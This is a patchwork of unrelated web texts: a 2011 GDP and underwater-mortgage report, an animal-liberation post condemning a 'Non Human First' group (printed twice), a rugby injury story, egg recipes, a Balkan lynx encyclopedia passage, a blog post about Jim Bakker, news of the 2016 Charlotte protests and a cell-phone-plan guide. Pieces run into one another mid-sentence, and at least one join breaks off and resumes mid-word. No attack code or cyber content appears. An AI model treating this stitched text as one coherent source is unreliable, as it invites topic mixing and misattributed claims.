We’ve reached out to Google for confirmation on whether this hardware revision does address the microphone issues and whether there are any other changes.In a Technical Note on GDP Bloomberg reports "First quarter Advance Real GDP Real GDP increased 1.8 percent (annual rate) in the first quarter of 2011, following an increase of 3.1 percent in the fourth quarter of 2010. The deceleration in real GDP in the first quarter reflected a sharp upturn in imports, a deceleration in consumer spending, a larger decrease in federal government spending, and decelerations in nonresidential fixed investment and in exports that were partly offset by a sharp upturn in inventory investment."
Underwater Mortgages a Threat to Recovery
Given the renewed housing bust what might one expect going forward?
A senior economist for Wells Fargo believes it is unreasonable to expect more than 3% growth going forward as long as housing remains deeply underwater.
Please consider Phoenix’s Underwater Mortgages Show Weakness in Housing Threatens Recovery
One year ago, there were signs that housing was healing; new home sales were up and prices rising. Now, new home sales are below levels hit at the depth of the recession two years ago, and 23 percent of all borrowers -- more than 11 million homeowners -- owe lenders more than their homes are worth. The renewed weakness is keeping a lid on consumer confidence, consumption and growth.
“It keeps the recovery from being all that strong,” says Mark Vitner, senior economist for Wells Fargo Securities in Charlotte, North Carolina. “We don’t see how the economy can get above 3 percent growth, except for a short period of time, with housing being so deeply underwater,” he said.
In the 18 months after the recession ended in June of 2009, the economy grew at an average annual rate of 3 percent a quarter. A survey of economists by Bloomberg News produced a median forecast that growth slowed to a 2 percent rate in the first quarter of this year, not enough to ease the nation’s unemployment crisis.
Further Declines Seen
Further home-price declines this year -- expected by analysts such as Robert Shiller of Yale University -- would push several million more Americans into negative equity. Home prices dropped 5.7 percent in February from year-earlier levels, according to the Federal Housing Finance Agency, the fourth consecutive month of backsliding.
Homeowners who are underwater may be slower to relocate for employment, leaving job-poor markets clogged with surplus workers. Would-be entrepreneurs are unable to tap their non- existent home equity for start-up cash, meaning some good ideas for new businesses never get off the ground.
Most of all, millions of homeowners who have seen their principal asset melt in value are in no mood to spend. During the easy money days last decade, rising home prices helped power the American economy. From 2000 to 2005, homeowners funded about 3 percent of annual consumption spending by borrowing against the equity in their homes, according to a 2007 paper by Alan Greenspan, then-chairman of the Federal Reserve Board.
Misplaced Blame
In 2005, Meyers says he made about $300,000. This year, having returned to his roots as a real estate salesman, he’ll be lucky to make $35,000. He filed earlier this month for personal bankruptcy. “We’re starting over. We don’t have a nickel of any asset other than a car my wife owns,” he says.
The experience has left him bitter and broke. Meyers blames “thieves” on Wall Street who have corrupted the political system and left homeowners stripped of their principal asset.
Wall Street Greed or Leverage and Greed?
Elephant in the Room
“The mortgage drag and negative equity? I think it’s a serious problem. It’s the elephant in everybody’s room and nobody quite knows what to do about it,” says Jim Lundy, chief executive of Alliance Bank of Arizona, an eight-year old business lender in Phoenix.
Walking Away Math
Effect on the DeficitA network of individuals, independent and alternative media activists and organisations, offering grassroots, non-corporate, non-commercial coverage of important social and political issues.
Non human first declaration another racist attack on animal rights Few things unite the animal liberation movement more than the rejection of Speciesism but recently we have discovered a Racist sympathiser page has sprung up under the banner of NON HUMAN FIRST that is causing a major stir within the animal liberation movement
Their page can be seen here: https://www.facebook.com/NonHumansFirstDeclarationSupportersPage
Richard deboo explains why this racist group is wrong.
The “Putting non-humans first” ‘project’ claims that so long as one is driven by a determination to end the enslavement of non-human animals, then it does not matter what views and opinions one holds with regards to other humans (and we know that many are in positions of exploitation, legalised discrimination and on the receiving end of great violence and often fatal harm).
The suggestion that, so long as one does something to help non-human animals, it matters not at all if one is at the same time also racist, misogynist, disablist or homophobic (and so on) is a ridiculous assertion that not only strains credibility but is a venal debasement of the meaning of justice.
Justice does not sanction one prejudice when contrasted with another; justice is not satisfied with one bigotry replacing another; justice is not served when the chauvinist is regarded as a worthy ally in the fight for freedom for our non-human friends. It is a mockery of justice and confirms only that injustice will continue to dominate our society.
The propositions put forward by “Putting Non-humans first” are an incoherent mess of illogical, ill-conceived and inchoate statements that act only as a sop to the bigoted, providing them with a false sense of entitlement to ridiculous, discredited and obscene opinions whose only intention is to perpetuate discriminatory, exploitative, antagonistic and downright contemptible attitudes towards their own target group – whether based on gender, sexual orientation, race or other arbitrary characteristic that rankles with their unformed, squalid reactions to those whom they perceive as “different” and therefore unworthy of the respect, tolerance, compassion and decency that they expect to be granted to themselves.
They claim that non-humans are in a precarious state of emergency (which is true) and thus it is of no concern if anyone seeking to help those non-humans also has attitudes that “conflict with human rights ideology” (their wording). That last part is not true.
Prejudice of any kind is a sickness of the mind. The cure is social justice, expressed fully and completely, without compromise or twisting or hiding of the truth.
The promotion of animal rights is one of the most astonishingly difficult prejudices to overcome, given how deeply embedded it is in the cultural structures and legal and political systems of our world.
We all have to work extremely hard to ensure that those who currently hold the opinion that non-human animals are unworthy of the full protections of the law and the extension of love and compassion to them and the proper attention to and satisfaction of their needs must be mindful that, if we then at the same time, hold opinions contrary to the basic principle of social justice (that no-one should be discriminated against based on some randomly-chosen trait) it makes us look ridiculous, foolish, very stupid, and frankly really pathetic.
It is difficult enough to find an outlet in the traditional media that will present animal protection issues in a favourable light without us making it so much easier for those who oppose our compassionate views to hold us up to the cold light of public scrutiny and say, “Look! Look at the your animal rights zealots! Fanatics all of them – racists, homophobes, women-hating! Look and see! Aren’t they stupid?!”
Yes, it is stupid. It has no place in a tolerant, empathetic and compassionate animal protection philosophy. Animal protection is a matter of pure social justice. Non-humans are exploited against precisely because society currently tolerates and condones the commonly-held prejudice against them, based purely on their species membership.
The full article can be read here: http://www.richarddeboo.com/justice-knows-no-bounds-why-putting-non-humans-first-is-wrong
The non human first membership is a small group in numbers and mainly gets its support from the 269 life campaign.
Its admin is unknown to us but we would be seriously questioning their intentions on this.
We as animal liberationists MUST reject Speciesism at every corner we can not tolerate or accept racists or fascists within our ranks and we MUST reject racist groups such as non human first campaign and expose them as what they are. Racists.
if you are on facebook like a true antifascist animal liberationists page here: https://www.facebook.com/AnimalLiberationMemes The animal liberation movement is and always has been a anti racist anti Speciesist movement and rejected racists inclusion at every attempt but recently a group calling itself NON HUMAN FIRST has sprung up and makes it very clear that they will not ban racists and will welcome them with open arms on demo's.Their page can be seen here:Richard deboo explains why this racist group is wrong.The “Putting non-humans first” ‘project’ claims that so long as one is driven by a determination to end the enslavement of non-human animals, then it does not matter what views and opinions one holds with regards to other humans (and we know that many are in positions of exploitation, legalised discrimination and on the receiving end of great violence and often fatal harm).The suggestion that, so long as one does something to help non-human animals, it matters not at all if one is at the same time also racist, misogynist, disablist or homophobic (and so on) is a ridiculous assertion that not only strains credibility but is a venal debasement of the meaning of justice.Justice does not sanction one prejudice when contrasted with another; justice is not satisfied with one bigotry replacing another; justice is not served when the chauvinist is regarded as a worthy ally in the fight for freedom for our non-human friends. It is a mockery of justice and confirms only that injustice will continue to dominate our society.The propositions put forward by “Putting Non-humans first” are an incoherent mess of illogical, ill-conceived and inchoate statements that act only as a sop to the bigoted, providing them with a false sense of entitlement to ridiculous, discredited and obscene opinions whose only intention is to perpetuate discriminatory, exploitative, antagonistic and downright contemptible attitudes towards their own target group – whether based on gender, sexual orientation, race or other arbitrary characteristic that rankles with their unformed, squalid reactions to those whom they perceive as “different” and therefore unworthy of the respect, tolerance, compassion and decency that they expect to be granted to themselves.They claim that non-humans are in a precarious state of emergency (which is true) and thus it is of no concern if anyone seeking to help those non-humans also has attitudes that “conflict with human rights ideology” (their wording). That last part is not true.Prejudice of any kind is a sickness of the mind. The cure is social justice, expressed fully and completely, without compromise or twisting or hiding of the truth.The promotion of animal rights is one of the most astonishingly difficult prejudices to overcome, given how deeply embedded it is in the cultural structures and legal and political systems of our world.We all have to work extremely hard to ensure that those who currently hold the opinion that non-human animals are unworthy of the full protections of the law and the extension of love and compassion to them and the proper attention to and satisfaction of their needs must be mindful that, if we then at the same time, hold opinions contrary to the basic principle of social justice (that no-one should be discriminated against based on some randomly-chosen trait) it makes us look ridiculous, foolish, very stupid, and frankly really pathetic.It is difficult enough to find an outlet in the traditional media that will present animal protection issues in a favourable light without us making it so much easier for those who oppose our compassionate views to hold us up to the cold light of public scrutiny and say, “Look! Look at the your animal rights zealots! Fanatics all of them – racists, homophobes, women-hating! Look and see! Aren’t they stupid?!”Yes, it is stupid. It has no place in a tolerant, empathetic and compassionate animal protection philosophy. Animal protection is a matter of pure social justice. Non-humans are exploited against precisely because society currently tolerates and condones the commonly-held prejudice against them, based purely on their species membership.The full article can be read here:The non human first membership is a small group in numbers and mainly gets its support from the 269 life campaign.Its admin is unknown to us but we would be seriously questioning their intentions on this.We as animal liberationists MUST reject Speciesism at every corner we can not tolerate or accept racists or fascists within our ranks and we MUST reject racist groups such as non human first campaign and expose them as what they are. Racists.if you are on facebook like a true antifascist animal liberationists page here: Antifascist Animal LiberatorMORE SURGERY LIKELY: Richard Kahui has done his shoulder in again.
Only a cruel soul could not feel empathy for Richard Kahui. Even those who cursed his pending departure to Japan must now see his succinct thought process. Go now, before it's too late.
Kahui may have played his last game in New Zealand rugby with Chiefs assistant coach Wayne Smith revealing he is likely to need more shoulder surgery. That would total seven operations. Seven.
Most ordinary blokes coast through life without going under the knife once. Spare a thought for a humble 27-year-old who, because of his thirst for physical contact, will never reach the heights he was destined for. This is a harsh reality.
Alas, those thundering hits, powerful incisions and classical finishing were all too fleeting. Consultation with a familiar specialist this week will confirm the prognosis, but the Chiefs are already expecting to be without Kahui for the remainder of the season. And, at this rate, speculation he may return in time for the 2015 World Cup is tenuous at best. His upper body is pleading "no more".
"It's not looking good. There will be some sort of intervention," Smith said.
"I don't know to what degree. We're resigned to that."
Kahui proved his worth with a superb return to form in the midfield for the defending champions and, until now, All Blacks coach Steve Hansen had planned to pick him for next month's three-test series against France on the wing.
"It's not a hundy what the full story is, but we're pretty certain he won't be available for June," Hansen said.
Not only does Kahui's latest setback appear to have ended his Super Rugby and possibly All Blacks career, it also threatens to derail his financial security - a lucrative two-year deal with Japanese club Toshiba.
"I don't think there's much hope of Richard being ready for that [All Blacks]. It's a bugger because he was playing so well. He came back and made a real impact and then he's gone again," Smith said.
"We'll wait and see what the specialist says. You never know in this game. It could be different from what I said, but I doubt it. He didn't have a lot of power in it. It's pretty tough on him all right. We're just hoping to get a couple of others back."
Others include Andrew Horrell. Previously thought to be out for the season with an ankle injury, he is on track to return after the June tests.
Other than Kahui, Smith and co have plenty to ponder after Friday's patchy 39-33 win over the Rebels in Melbourne. For the second week in a row Dave Rennie's men compiled quick points - they had the four-try bonus point after 30 minutes - only to let the ascendancy slip. Sure, they weren't helped by some shocking TMO decisions - one where a blind man could have seen the forward pass - but conceding nine tries in two weeks is not good enough.
While the wins keep coming, management will be keen to see more balance and control. A mental shift of when to shut the game down is needed.
"Eventually we are going to have to really tighten up," Smith said.
"We know that it's an issue. We've just got to find a solution to solve it. That's the bottom line. If we are going to win it again this year it will be defence that wins it. But we're going into games trying to get five points and that reflects the way we are playing. The conference is going to be decided on that eventually."(Deb Lindsey/For The Washington Post)
Adding an egg to your plate — fried, poached, hard-cooked or however you like — is a good idea in most cases. From the Recipe Finder, here are seven ways, sans meat, to do so.
Enfrijoladas With Egg, Avocado and Onion, pictured above. Corn tortillas in a bean “sauce,” topped with your favorite crunchy, salty, spicy ingredients.
(Renee Comet/For the Washington Post)
Grilled Leeks With Crispy Fried Egg. This would be great for a grilling brunch.
(Goran Kosanovic/For The Washington Post)
Chopped Egg and Avocado Sandwiches. Pack these on a picnic and enjoy under the shade of a tree.
(Deb Lindsey/For The Washington Post)
Avocado Toast With Egg, Cucumber and Radish. Because you should eat all the avocado toast your heart desires. (And also topping this with grated egg makes it extra satisfying.)
(Deb Lindsey/For The Washington Post)
Asparagus With Romesco Blanco and Fried Eggs. Honestly, this almond-flecked, chunky sauce is great on almost anything.
(Dixie D. Vereen/For The Washington Post)
Shakshuka With Swiss Chard. The greens add color and texture.
(Deb Lindsey /For The Washington Post)
Dorie Greenspan’s Herbed Mushroom Quiche. Pair it with a green salad and a glass of rose, and you’ve got yourself a mighty fine springtime dinner.When London Bridge was being shipped off the to USA, one of the ideas mooted for |
an lynx is found in south-west Balkans, Albania, North Macedonia, and potentially Kosovo, Montenegro, and Greece.[18] This is home to a critically endangered population of the Balkan lynx, with an estimated population of 30 adult individuals over 5000 km2.[19] They have been recovering since the 1935-1940 where only 15-20 lynxes were estimated to be alive.[18] They seemed to recover after WWII but the population has since dwindled since 1974, when it was estimated at 280 lynxes and down to 90 lynxes in 2000.[18] They live in deciduous, evergreen, mixed forests, and bush habitats. They do not migrate but occasionally hunt in shrub lands, cultivated areas, and high-mountain pastures during the summer. They primarily hunt roe deer, chamois, and brown hare.[18] The Balkan lynx is categorized as critically endangered because of their low population size. They are split into two sub-populations in Mavrovo National Park and in Republic of North Macedonia.[18]
Mating [ edit ]
Mating season is from February to mid-April. Oestrus lasts for three days. Male and female often feed together during this time. Females are thought to give birth usually late May/early June.[20]
Litters can be anywhere from one to five kittens. Two to three kittens is typical. A newborn lynx weighs about 300 grams. At three months, kittens begin following the mother out of the rock cave den to eat meat from her kills. At ten months, usually around March or April, kittens leave their mothers to be independent.[21]
Behavior [ edit ]
Lynx live mostly independent lives except for mating and raising cubs. Lynxes occupy territories marked with special gland secretions, urine, or feces. Males have larger territories to have access to one or two females. Males are thought to have territories around 180–2780 km2. Females are thought to have territories around 98–759 km2. Mothers and daughters sometimes have greatly overlapping territories.[22]
Lynx are active during the evening and night and sleep during the day.[23]
The Lynx genus usually hunts lagomorphs, or hares and rabbits. However, the Eurasian lynx also hunts small ungulates, or deer such as roe deer, chamois, or musk deer.[24] Although the lynx is known to have killed up to 30% of the roe deer population in northern Europe, they are not usually considered a threat to livestock. However, in Norway, lynxes have killed increasing numbers of sheep, up to 10,000 between 1996 and 2001.[25]
Threats to the Balkan lynx [ edit ]
The most serious threats to the Balkan lynx are the low population size, habitat degradation, and poaching.[18] Poaching affects the Balkan lynxes both directly and indirectly. Hunters that hunt the small wildlife and game indirectly harm the Balkan lynxes by restricting their source of food, such as roe deer, chamois, and hares. It is illegal to hunt Balkan lynxes but there has been evidence that there is a market for Balkan lynx fur.[18] Also, some stuffed lynxes are seen as decorations in some restaurants in the countryside of Albania and North Macedonia.[18] Tourists resorts and recreational activities have little to no effects on the population, whereas sport hunting and ski resorts can disturb the population within the national parks, where the majority of the Balkan lynxes habitat.[18] The degradation of habitat is primarily in Albania, where logging has taken its toll on the environment and negatively affects the Balkan lynx. Albania’s forests have been recovering from over exploitation since the 1800s.[18] Although it is illegal to continue logging in the protected Balkan lynx habitat, it is still done and can potentially destroy the only habitat the Balkan lynx has.[26] Because they have such low population density, it is difficult for mature adults to mate with each other. The population is separated into two different sub-populations in Albania and North Macedonia, further hindering the mating process, although both populations were confirmed to be stabilized by the Balkan Lynx Recovery Programme.[18] There is a slight worry with the expansion of the native Carpathian and reintroduced Dinaric lynx population that may threaten the genetic integrity of the Balkan lynx population.[18] Public attitudes towards the Balkan lynx were also gauged through social science studies, indicating that they are mostly positive, although not very well known and have many misconceptions about its size, behavior, and ecology.[18]
Conservation [ edit ]
The Balkan lynx is considered a critically endangered species by the International Union for Conservation of Nature (IUCN) and is the highest risk category for endangered species. The Balkan lynx is also protected under the Convention for International Trade of Endangered Species (CITIES) by Appendix II, the Bern Convention by Appendix III, the EU Habitats and Species Directive by Annexes II and IV, as well as all range countries.[18] A three-year program called the Balkan Lynx Recovery Programme (BLRP) was started in 2006 to combine the protection for lynxes and their habitats in Albania and North Macedonia. Sponsored by the Swiss-based MAVA Foundation, the goals of the program was to survey and monitor the lynx population, gathering data of their distribution, population tendencies, habitation, develop Conservation Strategy and National Action Plans across the range of the Balkan lynx, lobby for the Balkan lynx in protected areas in the European Green Belt, and build professional partnerships with relevant stakeholders in nature protection.[18] The Balkan lynx was chosen as their figurehead and umbrella species.[18] At the same time, a Human Dimension project was started in both Albania and North Macedonia, funded by the Research Council of Norway.[18] The purpose of the project was to explore the human-large carnivore relationship, possible conflicts, the attitudes of the local people, and the challenges of cross border cooperation in large carnivore conservation.[18] The second phase of the Balkan Lynx Recovery Programme was put into place in 2010 continuing the work done since 2006. This time, they delved deeper and began a scientific study on the Balkan lynx, supported by the Swiss National Science Foundation. During this time, three male lynxes were caught and tagged with GPS collars and an intensive monitoring system was put into place at the core area of habitation, as well as a network monitoring wildlife.[18] This project lasted from 2010 to 2012. The third phase of the BLRP began in 2013 to 2016 and focuses on raising awareness of the critical state of the Balkan lynx in primary schools locally, nationally, and internationally. They also continue the work on monitoring the core area of habitation of the Balkan lynx as well as expanding the project to combine research in both countries of North Macedonia and Albania.[18]You know how Donald Trump keeps talking about how Christians will be finally able to say “Merry Christmas” and the rest of us roll our eyes because it’s not like they ever couldn’t?
Televangelist Jim Bakker is one of those gullible people who thinks Christians in the U.S. are persecuted. He made the claim on his show yesterday that wearing a hat with a cross on it might provoke someone to murder him.
Bakker went on to declare that “everything God’s ever spoke to me has come to pass” while fuming that society has made Christians afraid to share their faith. But Bakker refuses to be controlled by that fear, even though he knows he could be killed simply for wearing a Christian hat in public. “I wear them out in public and I know I could be shot,” he proclaimed. “I know that. There are crazy people out there, but I’m not going to deny the cross. I will not deny the cross! I won’t.”
Umm… no one asked you to deny anything. No one’s coming after you. I assure you more abortion doctors have died at the hands of extremist Christians than Christians have died at the hands of extremist atheists.
People drive around with Jesus Fish stickers on their cars. They wear cross necklaces. They gather in churches all the time. They have no reason to be scared. Yet the Christian who promotes his faith on a TV show is somehow freaked out about wearing a cross hat because people might discover his faith.
If Bakker want to know what it’s like to live in fear because of his beliefs, he should visit a mosque.
(via Right Wing Watch)EMBED >More News Videos Police used tear gas and protesters became unruly in Charlotte on Wednesday.
Police deployed tear gas in efforts to keep control.
CORRECTION UPDATE: Civilian who suffered gunshot wound during protests is on life support, critical condition. Not deceased. — City of Charlotte (@CLTgov) September 22, 2016
Roy Cooper statement on events in Charlotte: pic.twitter.com/wReIEVQ3eD — Roy Cooper (@RoyCooperNC) September 22, 2016
Large crowd at Marshall Park, in protest of police involved shooting of Keith Scott https://t.co/JpqDwdPaT6 pic.twitter.com/LifgcGOSys — AngelicaAlvarezABC11 (@AlvarezABC11) September 21, 2016
EMBED >More News Videos Protesters are already gathering in uptown Charlotte.
Just in... the wife of #KeithScott released this statement. Asks for no law enforcement officers to be harmed @wsoctv pic.twitter.com/H1Iq4doGsb — Joe Bruno (@JoeBrunoWSOC9) September 21, 2016
Charlotte Mayor Jennifer Roberts told ABC's Robin Roberts Thursday morning that a curfew is being discussed after a second night of violence in the city. Gov. Pat McCrory has declared a State of Emergency at the request of Charlotte Mecklenburg Police Chief Kerr Putney. The governor has sent in the North Carolina National Guard and the State Highway Patrol to assist local law enforcement.Charlotte officials said a man shot during a protest is in critical condition and on life support. Earlier, city officials reported the man had died. The city of Charlotte made both announcements Wednesday night on its Twitter feed.The man was shot at N College Street and E Trade Street, a security expert said, during a second night of unrest in Charlotte. The shooting was between two civilians and did not involve police, a city official said.The security expert, Ross Bulla, was with WSOC reporter Paul Boyd at the scene.Bulla heard the gunshot near the Epicentre and went to perform first aid to the person, who he said was a black man.Mecklenburg EMS treated at least three people Wednesday night, WSOC reported. The gunshot victim and two others with non-life threatening injuries. Four police officers suffered non-life-threatening injuries.During Wednesday night's demonstrations, protesters rushed police in riot gear at a downtown Charlotte hotel and officers fired tear gas to disperse the crowd.Firefighters rushed in to pull the wounded man to a waiting ambulance.Officers on bicycles surrounded a pool of blood on the ground and a few people threw bottles and clods of dirt at police.The tense standoff continued as police fired small canisters of tear gas into the protesters.McCrory, a former mayor of Charlotte, issued a statement Wednesday night on the unrest in the state's largest city.The Charlotte Hornets told WSOC their team store was broken into and looted during the rioting.Authorities tried to quell public anger and correct what they characterized as false information Wednesday after a night of looting and arson added Charlotte to the list of U.S. cities that have erupted in violence over the death of a black man at the hands of police.With officials refusing to release any video of the shooting of 43-year-old Keith Lamont Scott, two starkly different versions emerged: Police say Scott disregarded repeated demands to drop his gun, while neighborhood residents say he was holding a book, not a weapon, as he waited for his son to get off the school bus.The killing inflamed racial tensions in a city that seemed to have steered clear of the troubles that engulfed other places.As Charlotte's white mayor and black police chief stood at City Hall and appealed for calm, African-American leaders who said they were speaking for Scott's family held their own news conference near where he was killed on Tuesday, reminding the crowd of other shootings and abuses of black men.John Barnett, who runs a civil rights group called True Healing Under God, or THUG, warned that the video might be the only way for the police to regain the community's trust: "Just telling us this is still under investigation is not good enough for the windows of the Wal-Mart," a reference to the damage to a store in Tuesday night's rioting."What happened last night is disheartening," Walmart spokesperson Erica Jones told ABC11. "We're glad all of our associates are safe. We're continuing to work with police to follow the situation and determine when our store will re-open."On Tuesday night, a protest near the apartment complex where the shooting took place turned violent. Dozens of demonstrators threw rocks at police and reporters, damaged squad cars, closed part of Interstate 85, and looted and set on fire a stopped truck. Authorities used tear gas to break up the protests. Sixteen officers suffered minor injuries. One person was arrested.The violence broke out shortly after a woman who appeared to be Scott's daughter posted a profanity-laced, hour-long video on Facebook, saying her father had an unspecified disability and was unarmed. In the footage, she is at the cordoned-off shooting scene, yelling at officers."My daddy is dead!" the woman screams on the video, which has not been authenticated by The Associated Press.On Wednesday morning, Charlotte-Mecklenburg Police Chief Kerr Putney said: "It's time to change the narrative, because I can tell you from the facts that the story's a little bit different as to how it's been portrayed so far, especially through social media."The police chief said officers were serving arrest warrants on another person when they saw Scott get out of a vehicle with a handgun. A black plainclothes officer in a vest emblazoned "Police" shot Scott after the officer and other uniformed members of the force made "loud, clear" demands that he drop the gun, the chief said.Putney was adamant that Scott posed a threat, even if he didn't point his weapon at officers, and said a gun was found next to the dead man. "I can tell you we did not find a book," the chief said.Neighbors, though, claimed that the officer who fired was white and that Scott had his hands in the air.The three uniformed officers had body cameras; the plainclothes officer did not, police said. But the chief said he cannot release the video because the investigation is still underway. No cellphone video has emerged on social media, as happened in other cases around the country.The plainclothes officer, identified as Brently Vinson, a two-year member of the department, has been placed on leave, standard procedure in such cases.Scott's mother described her son as a family man."And he was a likable person. And he loved his wife and his children," Vernita Walker told The Charlotte Observer.Scott has a lengthy criminal record, including convictions in Texas, North Carolina and South Carolina. Texas records showed he was convicted of evading arrest with a vehicle in 2005, and several months later, of aggravated assault with a deadly weapon.The unrest took many by surprise in Charlotte, the banking capital of the South with a population of 830,000 people, about 35 percent of them black. The city managed to pull through a racially charged shooting three years ago without the unrest that erupted in recent years in such places as Baltimore, Milwaukee and Ferguson, Missouri.In 2013, Charlotte police charged one of their own, Randall Kerrick, with voluntary manslaughter days after the white officer shot an unarmed black man who had been in a wreck and was looking for help. The jury deadlocked and the charge was dropped last summer. There were a few protests but no violence.At the apartment complex where Scott was killed, some people who said they witnessed the shooting told their version with an air of certainty even when they were hundreds of yards away.Taheshia Williams said her balcony overlooks the shady parking spot where Scott was Tuesday afternoon. She said he often waited there for his son because a bicycle accident several years ago left him stuttering and susceptible to seizures if he stayed out in the hot sun too long.On Tuesday, she said, Scott had only a book in his hands and was following orders."He got out of his car, he walked back to comply, and all his compliance did was get him murdered," Williams said.The American Civil Liberties Union urged the police chief to release the video. And some leaders called for a black boycott of Charlotte."Since black lives do not matter for this city, our black dollars shouldn't matter," said B.J. Murphy, a radio host and leader of the Nation of Islam.After about four hours of protesting Wednesday night, the violence began winding down. Hotel employees and security guards immediately started cleaning up broken glass.But Charlotte remained on edge. Bank of America and Duke Energy told thousands of employees working downtown to stay home Thursday.If you feel incomplete without a phone in your hand, you’re in good company. About three-quarters of Americans now own a smartphone, Pew Research Center reports. And roughly 45% of people say they are constantly connected during the workday, according to the American Psychological Association.
The average person uses about 4.5 gigabytes of data a month, up more than a third from the 3.3GB used on average a year ago, according to Brad Akyuz, a director at the NPD Group research firm who specializes in the mobile industry.
That’s partly because of increased video streaming, largely driven by social media use. Last year, more than 54% of all videos were watched on a mobile device—up from 17% in 2013, according to online video technology company Ooyala. “When you stream video, the data numbers go up exponentially,” Akyuz says.
Notes: Based on NPD Connected Intelligence Data Consumption Report, March 2017. Overall average data use is 4.5GB per month. Source: The NPD Group
Until recently, powering your data usage could be tricky—and expensive. But a radical reshaping of the mobile landscape means that’s no longer the case. Over the past year, the Big Four carriers—AT&T, Sprint, T-Mobile, and Verizon—have rolled out new, fiercely competitive unlimited data plans that eliminate once-burdensome overage fees.
It all started with T-Mobile, says Kristin Paulin, a senior telecom analyst at research and consulting firm Ovum. Last September, T-Mobile eliminated all of its traditional plans with specific data quantities, subbing in a single, competitively priced unlimited plan: T-Mobile One. Sprint followed closely behind, shaving $20 a month off its unlimited plan; AT&T also reshaped its own offerings. Finally, in early 2017, Verizon caved as well. “Verizon essentially had to succumb to the competitive pressure,” Paulin says.
The resurgence of unlimited plans has brought other shifts, experts say. The Big Four have sharply cut the number of plans they offer—to 35 from the 49 offered a year ago. That’s not necessarily a bad thing, says founder of plan comparison site Wirefly.com Logan Abbott: It simplifies the choice for heavy data users. “Most people just want the right amount of data for their usage,” he says.
The major carriers have also cut prices for those unlimited plans, making them more practical for more people. “Even if you technically don’t need an unlimited plan, it’s an affordable option,” says NerdWallet’s cell phone expert, Kelsey Sheehy.
NOTE: From survey of almost 1,900 cell phone customers conducted for MONEY. SOURCE: Morning Consult
All of these industry changes created a different set of parameters for this year’s Best Cell Phone Plans analysis. Download speeds and the quality of superfast 4G/LTE networks took on greater weight, as did concerns over various data restrictions imposed by carriers. “As smartphones have become lifelines, users expect these devices to work and also to work well,” Paulin says.
To choose the following winners, MONEY evaluated almost 100 plans from 15 companies with the help of data provided by BestMVNO.com. We compared cost per gigabyte, hidden fees, and national network quality, as well as data limits and speeds. We also ruled out providers who failed to meet our thresholds for customer service, data, and voice network quality. (See the full methodology here.)
What follows are MONEY’s selections for five of the best plans on the market now.
Best Basic Plan: Republic Wireless 30
Illustration by Oksana Latysheva—Noun Project
Even if you use your phone mainly for texting and talking, you’ll need a little data for things like checking email or exchanging photos via text. The challenge is, as a light data user, you’re in the minority—so there’s less competition among plans that fit your needs. For this category, we looked at plans with less than 4GB of data.
Why it wins: You may have never heard of Republic Wireless, but the five-year-old company has developed a cult following, says NerdWallet’s Sheehy. The backbone of Republic Wireless is hybrid calling, a technology that seamlessly transfers users between Wi-Fi and cellular networks for voice calls. Republic Wireless also prioritizes Wi-Fi for data use, so you’ll consume less than you would with traditional carriers. Pricing is transparent, with no fees, and if you have a heavy month of data usage, you can jump up from this $30-a-month plan to the next level—paying only the difference between the two plans—and then drop back again the following month.
Tradeoffs: Whenever you don’t have a Wi-Fi connection, your phone will switch to Sprint and T-Mobile networks, which MONEY found to be less reliable than those of the other two big carriers. And while Republic Wireless has increased the number of compatible devices you can bring to its network, you can’t currently use Apple products.
Terms:
Data: 2GB
Networks Used: T-Mobile, Sprint
Annual Cost: $360
Best Everyday Plan: AT&T GoPhone 6GB
Illustration by Oksana Latysheva—Noun Project
If you’re using social media, browsing the web, and occasionally streaming videos—which you’re probably doing more often, thanks to the rise of autoplay—you’ll need a plan with a decent amount of data. Smartphone users now generally consume about 4.5GB of data every month, so MONEY considered only plans that offered at least 4GB for this category.
Why it wins: With more than enough data for the average user, this $45 AT&T prepaid plan offers incredible value. It’s 20% cheaper than other plans with 4GB to 6GB of data a month—and you’re able to roll over any unused data to the next month. You also save by going with a prepaid plan, since those charge lower taxes and fees. “For the same amount of data, you’re spending $10 to $15 less a month” than with a traditional plan, says NerdWallet’s Sheehy. Adding to the plan’s value is AT&T’s network, whose LTE coverage and reliability put it in second place among the Big Four carriers, according to network researcher RootMetrics.
Tradeoffs: As with most prepaid plans, AT&T’s 6GB offering does have some compromises. This plan caps download speeds, which means the network may feel like a slower 3G connection. And it defaults to streaming video in standard definition to save on data. For HD streaming, you’ll need to change your account settings. If you go over 6GB per month, you won’t face overage fees, but data speeds will slow to a crawl.
Terms:
Data: 6GB
Annual Cost: $480 with autopay discount
Best Unlimited Plan: T-Mobile One
Illustration by Oksana Latysheva—Noun Project
If you’re streaming your favorite Netflix shows during your daily commute, you’re not alone—but you may need an unlimited plan to handle your video addiction. Despite the name, even unlimited plans may stumble on poor connections or data usage restrictions. For this category, MONEY prioritized network quality over price.
Why it wins: T-Mobile has revamped its unlimited plan since last September’s initial rollout and now offers the best value in this category. For $75 a month you get 4G/LTE data speeds—the fastest available—plus unlimited data at 3G speeds to turn your phone into a wireless hotspot. (Like most “unlimited” plans, T-Mobile’s may eventually tighten data speeds—but not till you’ve hit a very generous 32GB.) The plan also works well for travelers, as it includes unlimited texting and data abroad, plus an hour of Gogo Wi-Fi on every flight. And T-Mobile’s 4G/LTE network is widely available, with users reporting access to the highest data speeds 87% of the time, according to wireless research firm OpenSignal.
Tradeoff: T-Mobile One isn’t the cheapest unlimited plan on the market. If price is the most important consideration, Boost Mobile (which runs on the Sprint network) charges $50 a month for the first line. “If they have coverage in your area, it’s hard to beat that deal,” Abbott says.
Terms:
Data: Unlimited
Annual Cost: $840 with autopay discount
Best Couples Plan: Cricket Wireless Smart
Illustration by Oksana Latysheva—Noun Project
If you and your partner are both average users, you can probably save some cash by signing up for one plan with two lines. For this category we considered only plans with at least 4GB each, to ensure you’d have enough data for using social apps, streaming music, and watching some video.
Why it wins: This plan provides 8GB per person—almost double what the average user needs—but at $90 a month, it’s pretty tough to beat its value. You’re paying about 33% less per gigabyte than you would for other plans with similar data allowances and network quality. Cricket also has an above-average customer service score from J.D. Power, and it runs on AT&T’s network, which is among the nation’s best.
Tradeoff: As a secondary carrier, Cricket is subject to an AT&T cap on download speeds at 8Mbps. That’s significantly slower than the fastest networks, which offer speeds consistently above 20Mbps. To conserve data usage, Cricket automatically streams video in standard definition unless you’re on a Wi-Fi connection. That’s good if you want to avoid maxing out your data limit, but you may notice the diminished video quality.
Terms:
Data: 8GB per person
Network Used: AT&T
Annual Cost: $1,080
Illustration by Oksana Latysheva—Noun Project
